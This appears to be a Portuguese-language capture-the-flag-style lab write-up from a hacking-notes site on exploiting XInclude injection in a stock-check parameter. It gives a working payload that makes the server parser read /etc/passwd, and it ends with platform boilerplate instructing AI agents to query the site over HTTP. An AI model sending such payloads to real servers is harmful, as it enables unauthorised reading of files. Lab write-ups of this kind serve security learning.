> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xxe/file-reading-with-xinclude.md).

# Leitura de Arquivo com XInclude

### Explorando XInclude para Recuperar Arquivos

O laboratório tem um **Verificar estoque** recurso que insere a entrada fornecida pelo usuário em um documento XML no lado do servidor, depois a varredura. Você não controla todo o documento XML, então é impossível definir um DTD para um XXE clássico.

Use **XInclude** para recuperar o conteúdo do **/etc/passwd** arquivo injetando uma inclusão XInclude que será resolvida pelo parser no lado do servidor.

* Parâmetros enviados inicialmente: `productId=1&storeId=1`.

```php
productId=1&storeId=1
```

* Verifique: o valor de `productId` é restabelecido e analisado pelo servidor. Por exemplo `productId=test&storeId=1` é interpretado e refletido.

```
productId=test&storeId=1
```

<figure><img src="/files/c75a3a00a051c990802560793109e29420ec0cd7" alt=""><figcaption></figcaption></figure>

Injeção de uma inclusão XInclude em `productId` para forçar a leitura de um arquivo local.

```xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```

Exemplo de parâmetro enviado:

```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```

O parser interpreta a inclusão XInclude e integra `/etc/passwd` o conteúdo no documento analisado — o valor fornecido em `productId` é processado e o arquivo é lido.

<figure><img src="/files/8dfcb5069a1916cfb4483bdb02bfaaecee8296e3" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xxe/file-reading-with-xinclude.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
